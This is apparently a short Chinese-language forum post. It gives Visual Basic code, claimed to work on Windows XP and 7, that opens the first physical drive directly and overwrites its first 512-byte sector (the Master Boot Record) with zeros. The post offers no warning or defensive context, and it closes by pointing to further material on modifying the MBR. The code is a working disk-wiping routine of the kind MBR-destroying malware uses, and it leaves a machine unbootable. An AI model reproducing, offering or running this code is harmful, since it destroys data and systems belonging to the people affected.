|
以下代码在Windows XP和Windows 7 x86/x64上测试成功,原理是磁盘直接写入。
Option Explicit
Private Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function SetFilePointer Lib "kernel32.dll" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Sub RtlZeroMemory Lib "kernel32.dll" (ByVal pDestination As Long, ByVal Length As Long)
Private Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByVal lpBuffer As Long, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function WriteFile Lib "kernel32.dll" (ByVal hFile As Long, ByVal lpBuffer As Long, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Const GENERIC_READ As Long = &H80000000
Private Const GENERIC_WRITE As Long = &H40000000
Private Const FILE_SHARE_READ As Long = &H1
Private Const FILE_SHARE_WRITE As Long = &H2
Private Const OPEN_EXISTING As Long = 3
Private Const INVALID_HANDLE_VALUE As Long = (-1)
Private Const FILE_BEGIN As Long = 0
Public Function main()
Dim hFile As Long
Dim buffer(511) As Byte
Dim dwReadWrite As Long
hFile = CreateFile("\\.\PhysicalDrive0", GENERIC_READ Or GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
If (hFile <> INVALID_HANDLE_VALUE) Then
Call SetFilePointer(hFile, 0, 0, FILE_BEGIN)
Call ReadFile(hFile, VarPtr(buffer(0)), 512, dwReadWrite, 0)
Call SetFilePointer(hFile, 0, 0, FILE_BEGIN)
Call RtlZeroMemory(VarPtr(buffer(0)), 512)
Call WriteFile(hFile, VarPtr(buffer(0)), 512, dwReadWrite, 0)
Call CloseHandle(hFile)
End If
End Function
另附一份关于修改MBR的资料,可以拿去参考一下。 |
|